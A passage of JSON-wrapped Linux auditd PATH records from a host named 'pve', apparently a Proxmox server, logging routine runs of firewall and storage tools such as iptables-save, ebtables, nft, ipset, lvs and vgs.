inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=PATH msg=audit(1781964775.493:62528): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=PATH msg=audit(1781964775.493:62527): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=PATH msg=audit(1781964775.488:62526): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=PATH msg=audit(1781964775.488:62526): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=PATH msg=audit(1781964775.488:62526): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775482,"@rawstring":"node=pve type=PATH msg=audit(1781964775.482:62525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775482,"@rawstring":"node=pve type=PATH msg=audit(1781964775.482:62525): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775473,"@rawstring":"node=pve type=PATH msg=audit(1781964775.473:62524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775473,"@rawstring":"node=pve type=PATH msg=audit(1781964775.473:62524): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775469,"@rawstring":"node=pve type=PATH msg=audit(1781964775.469:62523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775469,"@rawstring":"node=pve type=PATH msg=audit(1781964775.469:62523): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775463,"@rawstring":"node=pve type=PATH msg=audit(1781964775.463:62522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775463,"@rawstring":"node=pve type=PATH msg=audit(1781964775.463:62522): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775457,"@rawstring":"node=pve type=PATH msg=audit(1781964775.457:62521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775457,"@rawstring":"node=pve type=PATH msg=audit(1781964775.457:62521): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774735,"@rawstring":"node=pve type=PATH msg=audit(1781964774.735:62520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774735,"@rawstring":"node=pve type=PATH msg=audit(1781964774.735:62520): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774702,"@rawstring":"node=pve type=PATH msg=audit(1781964774.702:62519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774702,"@rawstring":"node=pve type=PATH msg=audit(1781964774.702:62519): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PATH msg=audit(1781964770.583:62518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PATH msg=audit(1781964770.583:62518): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PATH msg=audit(1781964770.583:62517): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PATH msg=audit(1781964770.583:62516): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PATH msg=audit(1781964770.576:62515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PATH msg=audit(1781964770.576:62515): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PATH msg=audit(1781964770.576:62514): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PATH msg=audit(1781964770.576:62513): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PATH msg=audit(1781964765.566:62512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PATH msg=audit(1781964765.566:62512): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PATH msg=audit(1781964765.566:62511): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PATH msg=audit(1781964765.566:62510): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PATH msg=audit(1781964765.558:62509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PATH msg=audit(1781964765.558:62509): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PATH msg=audit(1781964765.558:62508): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PATH msg=audit(1781964765.558:62507): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765446,"@rawstring":"node=pve type=PATH msg=audit(1781964765.446:62506): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765446,"@rawstring":"node=pve type=PATH msg=audit(1781964765.446:62506): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765443,"@rawstring":"node=pve type=PATH msg=audit(1781964765.443:62505): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765443,"@rawstring":"node=pve type=PATH msg=audit(1781964765.443:62505): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=PATH msg=audit(1781964765.442:62504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=PATH msg=audit(1781964765.442:62504): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=PATH msg=audit(1781964765.442:62503): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=PATH msg=audit(1781964765.438:62502): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=PATH msg=audit(1781964765.438:62502): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=PATH msg=audit(1781964765.438:62502): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765432,"@rawstring":"node=pve type=PATH msg=audit(1781964765.432:62501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765432,"@rawstring":"node=pve type=PATH msg=audit(1781964765.432:62501): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765426,"@rawstring":"node=pve type=PATH msg=audit(1781964765.426:62500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765426,"@rawstring":"node=pve type=PATH msg=audit(1781964765.426:62500): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765420,"@rawstring":"node=pve type=PATH msg=audit(1781964765.420:62499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765420,"@rawstring":"node=pve type=PATH msg=audit(1781964765.420:62499): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765414,"@rawstring":"node=pve type=PATH msg=audit(1781964765.414:62498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765414,"@rawstring":"node=pve type=PATH msg=audit(1781964765.414:62498): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765409,"@rawstring":"node=pve type=PATH msg=audit(1781964765.409:62496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765409,"@rawstring":"node=pve type=PATH msg=audit(1781964765.409:62496): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765404,"@rawstring":"node=pve type=PATH msg=audit(1781964765.404:62495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765404,"@rawstring":"node=pve type=PATH msg=audit(1781964765.404:62495): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765399,"@rawstring":"node=pve type=PATH msg=audit(1781964765.399:62494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765399,"@rawstring":"node=pve type=PATH msg=audit(1781964765.399:62494): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765394,"@rawstring":"node=pve type=PATH msg=audit(1781964765.394:62493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765394,"@rawstring":"node=pve type=PATH msg=audit(1781964765.394:62493): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765390,"@rawstring":"node=pve type=PATH msg=audit(1781964765.390:62492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765390,"@rawstring":"node=pve type=PATH msg=audit(1781964765.390:62492): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765385,"@rawstring":"node=pve type=PATH msg=audit(1781964765.385:62491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765385,"@rawstring":"node=pve type=PATH msg=audit(1781964765.385:62491): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765378,"@rawstring":"node=pve type=PATH msg=audit(1781964765.378:62490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765378,"@rawstring":"node=pve type=PATH msg=audit(1781964765.378:62490): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765373,"@rawstring":"node=pve type=PATH msg=audit(1781964765.373:62489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765373,"@rawstring":"node=pve type=PATH msg=audit(1781964765.373:62489): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765369,"@rawstring":"node=pve type=PATH msg=audit(1781964765.369:62488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765369,"@rawstring":"node=pve type=PATH msg=audit(1781964765.369:62488): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765366,"@rawstring":"node=pve type=PATH msg=audit(1781964765.366:62487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765366,"@rawstring":"node=pve type=PATH msg=audit(1781964765.366:62487): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=PATH msg=audit(1781964765.365:62486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=PATH msg=audit(1781964765.365:62486): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=PATH msg=audit(1781964765.365:62485): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=PATH msg=audit(1781964765.361:62484): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=PATH msg=audit(1781964765.361:62484): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=PATH msg=audit(1781964765.361:62484): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765355,"@rawstring":"node=pve type=PATH msg=audit(1781964765.355:62483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765355,"@rawstring":"node=pve type=PATH msg=audit(1781964765.355:62483): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765348,"@rawstring":"node=pve type=PATH msg=audit(1781964765.348:62482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765348,"@rawstring":"node=pve type=PATH msg=audit(1781964765.348:62482): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765344,"@rawstring":"node=pve type=PATH msg=audit(1781964765.344:62481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765344,"@rawstring":"node=pve type=PATH msg=audit(1781964765.344:62481): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765338,"@rawstring":"node=pve type=PATH msg=audit(1781964765.338:62480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765338,"@rawstring":"node=pve type=PATH msg=audit(1781964765.338:62480): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765331,"@rawstring":"node=pve type=PATH msg=audit(1781964765.331:62479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765331,"@rawstring":"node=pve type=PATH msg=audit(1781964765.331:62479): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764637,"@rawstring":"node=pve type=PATH msg=audit(1781964764.637:62478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764637,"@rawstring":"node=pve type=PATH msg=audit(1781964764.637:62478): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764608,"@rawstring":"node=pve type=PATH msg=audit(1781964764.608:62477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764608,"@rawstring":"node=pve type=PATH msg=audit(1781964764.608:62477): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PATH msg=audit(1781964760.546:62476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PATH msg=audit(1781964760.546:62476): item=0 